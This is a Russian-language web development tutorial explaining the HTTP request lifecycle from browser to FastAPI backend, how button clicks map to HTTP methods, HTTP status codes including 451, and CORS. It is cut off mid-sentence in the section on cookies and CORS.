HTTP-сообщение не обязательно отправляется одним пакетом.

Например:

HTTP request
TLS records
TCP segments или QUIC packets
IP packets
Ethernet / Wi-Fi frames

Большое тело:

{
  "payments": [...]
}

может быть разделено на множество TCP-сегментов или QUIC-пакетов.

Маршрутизаторы не понимают бизнес-смысл JSON. В основном они работают с сетевыми адресами и пересылают пакеты к следующему узлу.

9. Запрос проходит через промежуточные компоненты #

В реальной инфраструктуре браузер редко соединяется непосредственно с Python-приложением:

Браузер
домашний роутер / NAT
провайдер
CDN
WAF
Load Balancer
Nginx / reverse proxy
Uvicorn / Gunicorn
FastAPI

Назначение компонентов:

CDN
→ кеширует статические и иногда динамические ответы

WAF
→ фильтрует подозрительные запросы

Load Balancer
→ выбирает backend-инстанс

Reverse Proxy
→ принимает соединения, завершает TLS,
  ограничивает размер запроса, проксирует в приложение

Application Server
→ преобразует сетевой запрос в ASGI/WSGI-вызов

Запрос может завершиться на промежуточном уровне:

CDN нашёл ответ в кеше
→ backend не вызывается

WAF заблокировал запрос
→ backend не вызывается

Nginx обнаружил слишком большое тело
→ возвращает 413
→ backend не вызывается

HTTP предусматривает цепочки посредников, включая proxy, gateway и cache, между клиентом и origin-сервером.

10. Операционная система сервера принимает данные #

На сервере сетевой стек операционной системы:

  1. принимает пакеты;

  2. проверяет их;

  3. собирает TCP-поток или QUIC-потоки;

  4. передаёт данные процессу, который слушает порт.

Например:

0.0.0.0:443 → Nginx
127.0.0.1:8000 → Uvicorn

Nginx может проксировать запрос:

public HTTPS request
Nginx
HTTP к Uvicorn внутри приватной сети

11. Application server создаёт вызов приложения #

В FastAPI обычно используется ASGI-сервер:

Uvicorn
Hypercorn
Daphne

Uvicorn разбирает HTTP-протокол и передаёт приложению ASGI-сообщения.

Упрощённо:

scope = {
    "type": "http",
    "method": "POST",
    "path": "/api/orders",
    "headers": [...],
}

Затем приложение получает события тела:

{
    "type": "http.request",
    "body": b'{"product_id":42}',
    "more_body": False,
}

12. Middleware обрабатывает запрос #

До endpoint запрос может пройти через цепочку middleware:

Request ID middleware
CORS middleware
Logging middleware
Authentication middleware
Rate limiting
Exception handling
Router

Middleware может:

  • изменить запрос;

  • отклонить запрос;

  • добавить пользователя;

  • записать лог;

  • измерить время;

  • добавить заголовки ответа;

  • перехватить исключение.

13. Router выбирает endpoint #

FastAPI сопоставляет:

HTTP method + path

с обработчиком.

Например:

@app.post("/api/orders")
async def create_order(data: OrderCreate):
    ...

Подойдёт запрос:

POST /api/orders

Но не:

GET /api/orders

Если path не найден:

404 Not Found

Если path существует, но метод не поддерживается:

405 Method Not Allowed

14. Выполняются аутентификация и авторизация #

Backend извлекает credentials:

Authorization: Bearer <token>

или:

Cookie: session_id=abc123

Затем:

проверяет токен или сессию
определяет пользователя
проверяет permission
проверяет доступ к конкретному объекту

Например:

order = await order_repository.get(
    id=order_id,
    user_id=current_user.id,
)

Frontend не считается доверенным источником роли или user_id.

15. Проверяются входные данные #

Для запроса:

{
  "product_id": 42,
  "quantity": 2
}

backend проверяет:

валидный ли JSON
есть ли обязательные поля
соответствуют ли типы
допустимы ли диапазоны
нет ли неизвестных полей
выполняются ли бизнес-правила

В FastAPI это часто делает Pydantic:

class OrderCreate(BaseModel):
    product_id: int = Field(gt=0)
    quantity: int = Field(ge=1, le=100)

Некорректные данные приводят к клиентской ошибке, обычно 4xx.

16. Выполняется бизнес-логика #

Endpoint или service layer выполняет операцию:

найти товар
проверить наличие
рассчитать стоимость
создать заказ
уменьшить остаток
записать событие

Например:

async def create_order(
    data: OrderCreate,
    user: User,
) -> Order:
    product = await product_repository.get(data.product_id)

    if product is None:
        raise ProductNotFoundError()

    if product.stock < data.quantity:
        raise InsufficientStockError()

    return await order_repository.create(
        user_id=user.id,
        product_id=product.id,
        quantity=data.quantity,
    )

17. Backend обращается к зависимостям #

Приложение может обращаться к:

PostgreSQL
Redis
S3 / MinIO
RabbitMQ
другому микросервису
стороннему API

Пример:

FastAPI
   ├── PostgreSQL → получить пользователя
   ├── Redis      → проверить кеш
   ├── Payment API → провести оплату
   └── RabbitMQ   → опубликовать событие

Каждый такой вызов имеет собственный жизненный цикл:

DNS
соединение
запрос
ответ
таймаут
повтор

Поэтому один пользовательский HTTP-запрос может породить несколько внутренних сетевых запросов.

18. База данных выполняет запрос #

Например:

SELECT id, name, price
FROM products
WHERE id = 42;

PostgreSQL:

разбирает SQL
проверяет права
строит или выбирает план
читает данные
возвращает строки

Для изменения данных backend может открыть транзакцию:

BEGIN
INSERT order
UPDATE stock
COMMIT

При ошибке:

ROLLBACK

19. Backend формирует HTTP-ответ #

Приложение возвращает данные:

return {
    "id": 1001,
    "status": "created",
}

FastAPI сериализует объект в JSON:

{
  "id": 1001,
  "status": "created"
}

Формируется HTTP-ответ:

HTTP/1.1 201 Created
Content-Type: application/json
Content-Length: 39
Location: /api/orders/1001

{
  "id": 1001,
  "status": "created"
}

Ответ содержит:

status code
headers
необязательное body

HTTP является протоколом request/response: клиент передаёт request, сервер интерпретирует его и возвращает один или несколько response messages.

20. Middleware и reverse proxy обрабатывают ответ #

На обратном пути middleware может:

добавить X-Request-ID
добавить CORS-заголовки
записать длительность
преобразовать исключение
установить cookie

Reverse proxy может:

сжать тело
добавить security headers
закешировать ответ
изменить служебные заголовки
зашифровать через TLS

Например:

Content-Encoding: br
Cache-Control: public, max-age=3600
Set-Cookie: session_id=abc123; HttpOnly; Secure

21. Ответ возвращается браузеру #

Обратный путь:

Backend
Uvicorn
Nginx
Load Balancer / CDN
Интернет
Браузер

На транспортном уровне:

HTTP response
TLS encryption
TCP segments / QUIC packets
IP packets

Браузер принимает пакеты, восстанавливает поток, расшифровывает TLS и получает HTTP-ответ.

22. Браузер анализирует статус #

Например:

200 → обработать содержимое
201 → ресурс создан
204 → ответа без тела
301/302/307/308 → перейти на другой URL
304 → использовать кеш
401 → требуется аутентификация
403 → доступ запрещён
404 → ресурс не найден
500 → ошибка backend

При redirect:

HTTP/1.1 302 Found
Location: /login

браузер формирует новый запрос:

GET /login

То есть redirect запускает ещё один цикл HTTP-запроса.

23. Обработка HTML-документа #

Если ответ содержит:

Content-Type: text/html

браузер начинает разбирать HTML и строить DOM:

<html>
    <head>
        <link rel="stylesheet" href="/app.css">
        <script src="/app.js"></script>
    </head>
    <body>
        <img src="/logo.png">
    </body>
</html>

Во время разбора он обнаруживает дополнительные ресурсы:

/app.css
/app.js
/logo.png
/fonts/main.woff2
/api/profile

И для каждого может запустить отдельный HTTP-запрос:

Первоначальный GET /
HTML
        ├── GET /app.css
        ├── GET /app.js
        ├── GET /logo.png
        └── GET /fonts/main.woff2

Поэтому «загрузка одной страницы» обычно означает десятки или сотни HTTP-запросов.

HTML Standard определяет построение и обработку DOM и алгоритм разбора HTML-документов.

24. Браузер строит страницу #

Упрощённая схема рендеринга:

HTML
DOM

CSS
CSSOM

DOM + CSSOM
Render tree
Layout
Paint
Compositing
Изображение на экране

Этапы:

DOM
→ структура элементов

CSSOM
→ применимые CSS-правила

Layout
→ размеры и положение элементов

Paint
→ рисование текста, фонов, границ

Compositing
→ объединение слоёв

Некоторые стили и скрипты способны блокировать первоначальный рендеринг, пока браузер не получит и не обработает нужный ресурс. HTML Standard содержит правила для render-blocking элементов и возможностей рендеринга документа.

25. JavaScript может отправить новые запросы #

После загрузки:

const response = await fetch("/api/profile");
const profile = await response.json();

renderProfile(profile);

Запускается новый жизненный цикл:

JavaScript fetch()
проверка политики браузера и кеша
HTTP-запрос
backend
JSON-ответ
response.json()
изменение DOM
повторный render

При изменении DOM браузер может повторно выполнить layout, paint или compositing для затронутой части страницы.

26. Соединение обычно не закрывается сразу #

Современные браузеры переиспользуют соединения:

одно соединение
├── GET /
├── GET /app.css
├── GET /app.js
├── GET /logo.png
└── GET /api/profile

В HTTP/1.1 это называется persistent connection.

В HTTP/2 несколько запросов передаются параллельно через streams одного TCP-соединения.

В HTTP/3 несколько запросов передаются через QUIC streams одного QUIC-соединения.

Это позволяет не выполнять DNS, TCP и TLS заново для каждого файла.

Что может быть пропущено #

Реальный быстрый запрос может выглядеть так:

URL уже разобран
DNS есть в кеше
TCP/TLS-соединение открыто
ответ есть в CDN
backend вообще не вызван

Или:

Service Worker нашёл ответ
сеть вообще не использовалась

Поэтому полная цепочка:

DNS → TCP → TLS → backend → DB

— это возможный полный путь, а не обязательный набор действий для каждого запроса.

Где запрос может завершиться ошибкой #

URL parsing
→ некорректный URL

DNS
→ домен не найден

TCP
→ connection refused / timeout

TLS
→ сертификат недействителен

CDN/WAF
→ запрос заблокирован

Reverse proxy
→ 413, 429, 502, 504

Backend routing
→ 404 или 405

Authentication
→ 401

Authorization
→ 403

Validation
→ 400 или 422

Business logic
→ 409 и другие прикладные ошибки

Backend exception
→ 500

Upstream failure
→ 502, 503 или 504

Важный нюанс CORS #

При CORS сервер может успешно получить запрос и вернуть ответ, но браузер не предоставит JavaScript доступ к ответу из-за политики безопасности:

Frontend → запрос отправлен
Backend  → ответил 200
Браузер  → заблокировал доступ JavaScript к response

Поэтому ошибка CORS не обязательно означает, что запрос не дошёл до backend.

Fetch Standard включает обработку CORS, redirect, HTTP cache, credentials и Service Worker в общий алгоритм получения ресурса.

Пример полного запроса FastAPI #

1. Пользователь нажал «Создать заказ»
2. JavaScript сформировал JSON
3. fetch() создал POST-запрос
4. Браузер добавил cookies или Authorization
5. DNS определил IP
6. Было переиспользовано HTTPS-соединение
7. Запрос пришёл в Nginx
8. Nginx передал его Uvicorn
9. Uvicorn вызвал FastAPI через ASGI
10. Middleware добавил request_id
11. Router выбрал POST /orders
12. Dependency проверила access token
13. Pydantic проверил JSON
14. Service проверил товар и остаток
15. Repository выполнил SQL
16. PostgreSQL сохранил заказ
17. FastAPI сформировал JSON
18. Nginx вернул ответ браузеру
19. fetch() получил Response
20. JavaScript обновил интерфейс

Итоговая схема #

Пользователь
Browser event / JavaScript
URL parsing
Cache / Service Worker
DNS
TCP + TLS или QUIC + TLS
HTTP request
CDN / WAF / Load Balancer
Reverse Proxy
Application Server
Middleware
Router
Authentication / Authorization
Validation
Business Logic
Database / Cache / External Services
HTTP response
Browser
HTML parsing или JSON parsing
DOM update
Layout / Paint / Compositing
Результат на экране

HTTP-запрос — лишь центральная часть процесса. До него браузер должен определить ресурс и установить или переиспользовать соединение, а после ответа — разобрать данные и обновить отображаемый документ.


31. Какой HTTP-запрос выполняется при нажатии на кнопку? #

Нажатие на кнопку само по себе не определяет HTTP-метод #

У кнопки нет фиксированного запроса вроде «любая кнопка отправляет POST».

После клика может произойти:

GET
POST
PUT
PATCH
DELETE
несколько запросов
или вообще ни одного HTTP-запроса

Всё зависит от HTML-разметки и JavaScript-обработчика.

Обычная кнопка без формы #

<button type="button">Открыть окно</button>

У такой кнопки нет встроенного сетевого поведения. При нажатии HTTP-запрос не выполняется:

click
никакого HTTP-запроса

Она может, например, открыть модальное окно:

button.addEventListener("click", () => {
    modal.hidden = false;
});

Кнопка отправки формы #

<form action="/login" method="post">
    <input name="username">
    <input name="password" type="password">

    <button type="submit">Войти</button>
</form>

При нажатии браузер отправит:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=alfob&password=secret

Метод определяется атрибутом method формы:

<form method="post">

Адрес определяется атрибутом action:

<form action="/login">

Форма с GET #

<form action="/search" method="get">
    <input name="q">
    <button type="submit">Найти</button>
</form>

После ввода fastapi будет выполнен запрос:

GET /search?q=fastapi HTTP/1.1

При GET значения полей добавляются в query string. При POST они обычно передаются в теле запроса. Нативная HTML-форма поддерживает для отправки в основном GET и POST; значение dialog закрывает диалог и не отправляет HTTP-запрос.

Метод формы по умолчанию #

Если method не указан:

<form action="/search">
    <input name="q">
    <button type="submit">Найти</button>
</form>

используется GET:

GET /search?q=...

Для HTML-форм отсутствующее или недопустимое значение method приводит к состоянию GET.

Важная особенность <button> #

Кнопка внутри формы без явного type обычно является кнопкой отправки:

<form action="/orders" method="post">
    <button>Создать заказ</button>
</form>

Это фактически соответствует:

<button type="submit">Создать заказ</button>

Поэтому кнопкам, которые не должны отправлять форму, лучше всегда явно задавать:

<button type="button">Показать подробности</button>

Иначе обычная интерфейсная кнопка внутри формы может неожиданно вызвать отправку данных. Стандарт HTML различает submit-кнопки и кнопки без поведения отправки; атрибуты formaction и formmethod применимы именно к submit-кнопкам.

JavaScript может отправить любой подходящий метод #

<button type="button" id="delete-button">
    Удалить
</button>
document
    .getElementById("delete-button")
    .addEventListener("click", async () => {
        await fetch("/api/files/42", {
            method: "DELETE",
        });
    });

При клике выполняется:

DELETE /api/files/42 HTTP/1.1

Другой обработчик может отправить POST:

await fetch("/api/orders", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
    },
    body: JSON.stringify({
        product_id: 42,
        quantity: 2,
    }),
});
POST /api/orders HTTP/1.1
Content-Type: application/json

{
  "product_id": 42,
  "quantity": 2
}

У fetch() методом по умолчанию является GET, если method не указан.

fetch("/api/products");

эквивалентно:

fetch("/api/products", {
    method: "GET",
});

JavaScript может отменить стандартную отправку формы #

<form id="login-form" action="/login" method="post">
    <input name="username">
    <button type="submit">Войти</button>
</form>
form.addEventListener("submit", async (event) => {
    event.preventDefault();

    await fetch("/api/login", {
        method: "POST",
        body: new FormData(form),
    });
});

Здесь браузер не выполняет обычную навигационную отправку на /login, потому что она отменена через:

event.preventDefault();

Вместо неё JavaScript создаёт собственный HTTP-запрос к /api/login.

Ссылка, оформленная как кнопка #

Внешне элемент может выглядеть как кнопка, но фактически быть ссылкой:

<a href="/profile" class="button">Профиль</a>

При нажатии происходит навигация:

GET /profile HTTP/1.1

Поэтому внешний вид элемента не определяет HTTP-метод.

выглядит как кнопка
≠ является <button>

Кнопка в SPA #

В React или Vue кнопка может только изменить состояние приложения:

function handleClick() {
    setSidebarOpen(true);
}

HTTP-запроса здесь нет.

Она также может:

  1. изменить локальный интерфейс;

  2. перейти на другой frontend-route;

  3. загрузить данные через API;

  4. последовательно отправить несколько запросов.

Например:

click «Оформить заказ»
POST /api/orders
GET /api/orders/1001
GET /api/recommendations

То есть один пользовательский клик способен породить несколько HTTP-запросов.

Как точно узнать, какой запрос отправляется #

В браузере нужно открыть:

DevTools
→ Network
→ нажать кнопку

Там будут видны:

  • HTTP-метод;

  • URL;

  • query parameters;

  • request headers;

  • request body;

  • response status;

  • response body;

  • инициатор запроса.

Например:

Method:       POST
Request URL:  https://example.com/api/orders
Status:       201 Created
Initiator:    app.js

Итог #

<button type="button">
→ сам по себе запрос не отправляет

<button type="submit"> внутри <form method="get">
→ GET

<button type="submit"> внутри <form method="post">
→ POST

кнопка с JavaScript fetch()
→ метод указан в fetch(), по умолчанию GET

<a href="...">, оформленная как кнопка
→ обычно GET-навигация

Следовательно, по одной надписи или внешнему виду кнопки определить HTTP-запрос невозможно. Нужно смотреть форму, type, action, method и JavaScript-обработчики.


32. Какие бывают HTTP status codes (статус коды)? #

Что такое HTTP status code #

HTTP status code — трёхзначный код в HTTP-ответе, который сообщает клиенту результат обработки запроса:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42
}

Здесь:

200 → status code
OK  → текстовое описание

Допустимые HTTP-коды находятся в диапазоне 100–599. Первая цифра определяет класс ответа, последние две не имеют отдельной общей классификации. Коды расширяемы: клиент может встретить код, которого он не знает, но должен хотя бы понимать его класс.

Пять классов кодов #

1xx → информационные ответы
2xx → успешное выполнение
3xx → перенаправление и работа с кешем
4xx → проблема со стороны клиентского запроса
5xx → проблема при обработке на стороне сервера

1xx — Informational #

Это промежуточные ответы: сервер получил запрос, но обработка ещё продолжается. После 1xx обычно приходит окончательный ответ другого класса.

100 Continue #

Клиент может сначала отправить заголовки большого запроса:

POST /files HTTP/1.1
Content-Length: 100000000
Expect: 100-continue

Сервер отвечает:

HTTP/1.1 100 Continue

После этого клиент отправляет тело.

Это позволяет не передавать большой файл, если сервер заранее собирается отклонить запрос.

101 Switching Protocols #

Сервер согласился переключиться на другой протокол:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade

Исторически применяется при установлении WebSocket через HTTP/1.1.

102 Processing #

Сервер получил запрос и продолжает длительную обработку. Код определён WebDAV.

103 Early Hints #

Позволяет заранее передать некоторые заголовки, например ссылки на ресурсы, пока основной ответ ещё формируется:

HTTP/1.1 103 Early Hints
Link: </app.css>; rel=preload; as=style

2xx — Successful #

Запрос успешно принят и обработан.

200 OK #

Обычный успешный ответ:

GET /users/42
HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Используется для успешного чтения и многих других успешно выполненных операций.

201 Created #

Создан новый ресурс:

POST /orders
HTTP/1.1 201 Created
Location: /orders/1001
Content-Type: application/json

{
  "id": 1001,
  "status": "created"
}

Часто возвращается после POST, создавшего объект.

202 Accepted #

Запрос принят, но операция ещё не завершена:

POST /reports
HTTP/1.1 202 Accepted

{
  "task_id": "abc123",
  "status": "pending"
}

Подходит для фоновых задач:

запрос принят
→ задача помещена в очередь
→ worker выполнит её позже

202 не означает, что операция успешно завершилась.

204 No Content #

Операция выполнена успешно, но тела ответа нет:

DELETE /files/42
HTTP/1.1 204 No Content

После 204 не нужно возвращать JSON вроде:

{
  "status": "success"
}

206 Partial Content #

Сервер вернул только часть ресурса:

GET /video.mp4
Range: bytes=1000-1999
HTTP/1.1 206 Partial Content
Content-Range: bytes 1000-1999/5000000

Используется для докачивания файлов и потоковой передачи.

3xx — Redirection #

Клиенту нужно выполнить дополнительное действие: обратиться по другому адресу или использовать закешированное представление.

301 Moved Permanently #

Ресурс постоянно перемещён:

HTTP/1.1 301 Moved Permanently
Location: https://example.com/new-page

Браузеры и поисковые системы могут запомнить перенаправление.

302 Found #

Временное перенаправление:

HTTP/1.1 302 Found
Location: /login

Часто используется после проверки авторизации или при временном перемещении ресурса.

Из-за исторического поведения клиентов 302 может привести к изменению исходного метода на GET. Когда необходимо строго сохранить метод и тело запроса, применяют 307.

303 See Other #

Клиенту предлагается получить результат отдельным GET-запросом:

POST /orders
303 See Other
Location: /orders/1001
GET /orders/1001

Это удобно в шаблоне Post/Redirect/Get, чтобы обновление страницы не повторяло отправку формы.

304 Not Modified #

Ресурс не изменился, клиент может использовать кеш:

GET /app.js
If-None-Match: "version-15"
HTTP/1.1 304 Not Modified
ETag: "version-15"

304 не означает ошибку и обычно не содержит тело ресурса.

307 Temporary Redirect #

Временное перенаправление с сохранением HTTP-метода и тела:

POST /old
→ 307
→ POST /new

308 Permanent Redirect #

Постоянное перенаправление с сохранением метода и тела:

PUT /old
→ 308
→ PUT /new

Практическое различие:

301/302 → старые клиенты могут изменить метод на GET
307/308 → метод и тело должны сохраняться

301/308 → постоянное перенаправление
302/307 → временное перенаправление

4xx — Client Error #

Сервер не может выполнить запрос из-за его содержимого, credentials, прав доступа, текущего состояния ресурса или ограничений.

Это не обязательно означает ошибку frontend-кода. Например, 404 может быть ожидаемым результатом поиска отсутствующего объекта.

400 Bad Request #

Запрос некорректен на общем уровне:

HTTP/1.1 400 Bad Request

{
  "detail": "Malformed JSON"
}

Например:

  • сломанный JSON;

  • некорректный синтаксис запроса;

  • недопустимый формат параметра;

  • отсутствует необходимая часть запроса.

401 Unauthorized #

Нет подходящих аутентификационных данных:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer

Причины:

токен отсутствует
токен истёк
подпись токена неверна
сессия недействительна

Название может вводить в заблуждение: 401 относится прежде всего к аутентификации.

403 Forbidden #

Пользователь определён, но действие ему запрещено:

401 → мы не подтвердили, кто ты
403 → мы знаем, кто ты, но прав недостаточно

Например, обычный пользователь пытается удалить чужой файл.

404 Not Found #

Ресурс не найден:

GET /users/999999
HTTP/1.1 404 Not Found

Иногда backend возвращает 404 вместо 403, чтобы не раскрывать существование защищённого объекта.

405 Method Not Allowed #

Путь существует, но этот HTTP-метод не поддерживается:

DELETE /profile
HTTP/1.1 405 Method Not Allowed
Allow: GET, PATCH

409 Conflict #

Запрос конфликтует с текущим состоянием системы:

email уже зарегистрирован
версия документа устарела
заказ уже отменён
операция нарушает текущий статус объекта

Пример:

HTTP/1.1 409 Conflict

{
  "code": "email_already_exists"
}

410 Gone #

Ресурс существовал раньше, но был удалён и не ожидается его восстановление.

Отличие:

404 → сервер не сообщает, существовал ли ресурс
410 → ресурс был удалён окончательно

412 Precondition Failed #

Не выполнено условие запроса:

PUT /documents/42
If-Match: "version-7"

Если документ уже имеет другую версию:

HTTP/1.1 412 Precondition Failed

Используется для защиты от потерянных обновлений.

413 Content Too Large #

Тело запроса превышает допустимый размер:

HTTP/1.1 413 Content Too Large

415 Unsupported Media Type #

Backend не поддерживает указанный формат тела:

POST /users
Content-Type: application/xml

Если endpoint принимает только JSON:

HTTP/1.1 415 Unsupported Media Type

422 Unprocessable Content #

Сервер понимает формат тела, но содержимое не проходит проверку:

{
  "email": "not-an-email",
  "age": -10
}
HTTP/1.1 422 Unprocessable Content

Типичное разделение:

400 → запрос невозможно нормально разобрать
422 → запрос разобран, но данные недопустимы

429 Too Many Requests #

Клиент превысил ограничение частоты:

HTTP/1.1 429 Too Many Requests
Retry-After: 30

Клиенту следует уменьшить частоту и повторить запрос позже.

5xx — Server Error #

Запрос может быть корректным, но сервер не смог его обработать.

500 Internal Server Error #

Непредвиденная ошибка приложения:

необработанное исключение
ошибка бизнес-логики
ошибка сериализации
непредвиденное состояние

Клиенту нельзя возвращать stack trace, SQL-запросы и внутренние секреты.

501 Not Implemented #

Сервер не поддерживает функциональность, необходимую для выполнения запроса, например неизвестный HTTP-метод.

Не следует использовать 501 просто потому, что конкретный endpoint ещё не разработан.

502 Bad Gateway #

Прокси или gateway получил некорректный ответ от upstream-сервера:

Браузер
Nginx
FastAPI не ответил корректно
502 Bad Gateway

503 Service Unavailable #

Сервис временно недоступен:

техническое обслуживание
перегрузка
отсутствуют доступные backend-инстансы
критическая зависимость недоступна

Ответ может содержать:

HTTP/1.1 503 Service Unavailable
Retry-After: 60

504 Gateway Timeout #

Proxy или gateway не дождался ответа от upstream:

Браузер
Nginx
Backend обрабатывает слишком долго
504 Gateway Timeout

Отличие:

502 → upstream ответил некорректно или соединение сорвалось
504 → upstream не ответил вовремя

Часто используемые коды в REST API #

Для обычного backend чаще всего достаточно уверенно понимать:

200 OK
201 Created
202 Accepted
204 No Content

301/302 Redirect
304 Not Modified
307/308 Redirect with method preservation

400 Bad Request
401 Unauthorized
403 Forbidden
404 Not Found
405 Method Not Allowed
409 Conflict
412 Precondition Failed
413 Content Too Large
415 Unsupported Media Type
422 Unprocessable Content
429 Too Many Requests

500 Internal Server Error
502 Bad Gateway
503 Service Unavailable
504 Gateway Timeout

Пример CRUD API #

GET /users/42
→ 200 — пользователь найден
→ 404 — пользователь отсутствует

POST /users
→ 201 — пользователь создан
→ 409 — email уже занят
→ 422 — поля не прошли валидацию

PATCH /users/42
→ 200 — пользователь изменён
→ 404 — пользователь отсутствует
→ 403 — редактирование запрещено

DELETE /users/42
→ 204 — пользователь удалён
→ 404 — пользователь отсутствует

Главное правило #

HTTP-код должен описывать общий результат операции, а тело ответа — подробности:

HTTP/1.1 409 Conflict
Content-Type: application/problem+json

{
  "type": "/problems/email-conflict",
  "title": "Email is already registered",
  "status": 409,
  "detail": "A user with this email already exists"
}

Полный актуальный перечень зарегистрированных кодов поддерживается в реестре IANA; стандарт HTTP определяет пять основных классов 1xx–5xx.


33. 451 статус код ( status code) #

Статус 451 означает, что доступ к ресурсу запрещён из-за юридического требования:

HTTP/1.1 451 Unavailable For Legal Reasons

Например:

  • блокировка сайта по решению суда;

  • запрет контента законодательством определённой страны;

  • требование государственного органа;

  • ограничение доступа из конкретного региона;

  • удаление материала из-за юридической претензии.

RFC 7725 определяет 451 для случаев, когда доступ к ресурсу отклоняется вследствие правового требования.

Пример ответа #

HTTP/1.1 451 Unavailable For Legal Reasons
Content-Type: application/problem+json
Link: <https://provider.example/legal-block>; rel="blocked-by"

{
  "type": "/problems/legal-restriction",
  "title": "Unavailable for legal reasons",
  "status": 451,
  "detail": "Access to this resource is restricted in your country."
}

В теле ответа рекомендуется объяснить:

кто потребовал блокировку
на основании какого закона или решения
для каких пользователей действует ограничение
какие ресурсы заблокированы

Ответ также может содержать заголовок:

Link: <https://provider.example/legal-block>; rel="blocked-by"

Он должен указывать на организацию, которая технически реализует блокировку, например провайдера или прокси, а не обязательно на орган, потребовавший её.

Кто может вернуть 451 #

Код может вернуть не только сам сайт:

Origin server
CDN
интернет-провайдер
поисковая система
reverse proxy
DNS- или фильтрующая инфраструктура

То есть возможна схема:

Браузер
Интернет-провайдер → 451
   X
Сайт вообще не получил запрос

RFC прямо указывает, что сервер, возвращающий 451, необязательно является origin-сервером.

Отличие от 403 Forbidden #

403 Forbidden
→ доступ запрещён в общем смысле

451 Unavailable For Legal Reasons
→ доступ запрещён именно по юридической причине

Примеры:

Нет прав на чужой документ
→ 403

Страница заблокирована по решению суда
→ 451

451 предоставляет клиенту более точную и прозрачную информацию о причине блокировки.

Важные особенности #

451 не подтверждает, что ресурс действительно существует:

451
≠ ресурс обязательно существует

Даже после снятия юридического ограничения запрос всё равно мог бы завершиться, например, 404.

Кроме того, клиент не может рассчитывать, что юридическая блокировка всегда будет обозначаться именно 451: блокирующая сторона может вернуть 403, страницу-заглушку, DNS-ошибку или полностью разорвать соединение.

Ответ 451 по умолчанию может кешироваться, если это не запрещено методом запроса или заголовками Cache-Control.

Почему выбран номер 451 #

Номер является отсылкой к роману Рэя Брэдбери «451 градус по Фаренгейту», посвящённому уничтожению и запрещению книг. В RFC автор отдельно благодарит Рэя Брэдбери.

Итог #

451 Unavailable For Legal Reasons
→ ресурс недоступен из-за закона,
  судебного решения или другого юридического требования


34. Что такое CORS? #

Что такое CORS #

CORS расшифровывается как:

Cross-Origin Resource Sharing

По-русски:

совместное использование ресурсов между разными источниками

Это механизм безопасности браузера, который определяет, может ли JavaScript с одного origin обращаться к ресурсу другого origin и получать доступ к ответу. CORS является частью модели загрузки ресурсов браузером и работает вместе с политикой Same-Origin Policy.

Что такое origin #

Origin состоит из трёх частей:

scheme + host + port

Например:

https://example.com:443

Эти адреса относятся к разным origin:

http://example.com
https://example.com

https://example.com
https://api.example.com

http://localhost:3000
http://localhost:8000

Различие хотя бы в протоколе, домене или порте означает другой origin.

Типичная ситуация разработки:

Frontend: http://localhost:3000
Backend:  http://localhost:8000

Порты разные, поэтому запрос является cross-origin.

Зачем нужен CORS #

Представим, что пользователь авторизован на сайте банка:

https://bank.example

В браузере сохранена session cookie банка. Затем пользователь открывает вредоносный сайт:

https://evil.example

JavaScript вредоносного сайта пытается выполнить:

const response = await fetch(
    "https://bank.example/api/account",
    {
        credentials: "include",
    },
);

const account = await response.json();

Без браузерных ограничений чужой сайт мог бы читать ответы другого origin. Same-Origin Policy по умолчанию ограничивает такой доступ, а CORS позволяет backend явно указать, каким origin доступ разрешён.

Как работает CORS #

Frontend отправляет cross-origin запрос:

GET /api/profile HTTP/1.1
Host: api.example.com
Origin: https://frontend.example

Заголовок Origin показывает, с какого origin выполняется запрос.

Backend разрешает доступ:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example
Content-Type: application/json

{
  "username": "alfob"
}

Браузер сравнивает:

Origin запроса:
https://frontend.example

Разрешённый origin:
https://frontend.example

Если они совпадают, JavaScript получает доступ к ответу.

Если соответствующего заголовка нет:

HTTP/1.1 200 OK
Content-Type: application/json

браузер может получить ответ по сети, но не предоставить его JavaScript:

Backend обработал запрос
Backend вернул 200
Браузер заблокировал чтение ответа frontend-кодом

Поэтому CORS-ошибка не всегда означает, что запрос не дошёл до backend.

Простой CORS-запрос #

Некоторые запросы браузер может отправить сразу:

fetch("https://api.example.com/products");
GET /products
Origin: https://frontend.example

Backend должен добавить:

Access-Control-Allow-Origin: https://frontend.example

Fetch Standard определяет ограниченный набор CORS-safelisted методов, заголовков и типов содержимого, для которых предварительная проверка не требуется.

Preflight-запрос #

Перед более сложным запросом браузер сначала отправляет OPTIONS:

fetch("https://api.example.com/orders/42", {
    method: "DELETE",
    headers: {
        Authorization: "Bearer token",
    },
});

Предварительный запрос:

OPTIONS /orders/42 HTTP/1.1
Origin: https://frontend.example
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: authorization

Backend отвечает:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example
Access-Control-Allow-Methods: GET, POST, DELETE
Access-Control-Allow-Headers: Authorization

После успешной проверки браузер отправляет настоящий запрос:

DELETE /orders/42 HTTP/1.1
Origin: https://frontend.example
Authorization: Bearer token

Схема:

Frontend
    │ OPTIONS — можно ли отправить DELETE?
Backend
    │ разрешены origin, method и headers
Frontend
    │ DELETE /orders/42
Backend

Preflight нужен для запросов, выходящих за ограничения обычной HTML-формы: например, для некоторых методов, пользовательских заголовков или типов содержимого.

Основные CORS-заголовки #

Access-Control-Allow-Origin #

Каким origin разрешён доступ:

Access-Control-Allow-Origin: https://frontend.example

Либо всем origin:

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods #

Какие методы разрешены:

Access-Control-Allow-Methods: GET, POST, PATCH, DELETE

Access-Control-Allow-Headers #

Какие request headers разрешены:

Access-Control-Allow-Headers: Authorization, Content-Type

Access-Control-Allow-Credentials #

Можно ли использовать credentials:

Access-Control-Allow-Credentials: true

К credentials относятся, в частности, cookies и HTTP-аутентификационные данные.

Access-Control-Expose-Headers #

Какие response headers frontend может прочитать:

Access-Control-Expose-Headers: X-Request-ID

Без этого JavaScript не получает доступ к произвольным заголовкам ответа.

Access-Control-Max-Age #

Сколько времени браузер может кешировать результат preflight:

Access-Control-Max-Age: 600

Cookies и CORS #

Frontend должен явно разрешить отправку credentials:

fetch("https://api.example.com/profile", {
    credentials: "include",
});

Backend должен вернуть:

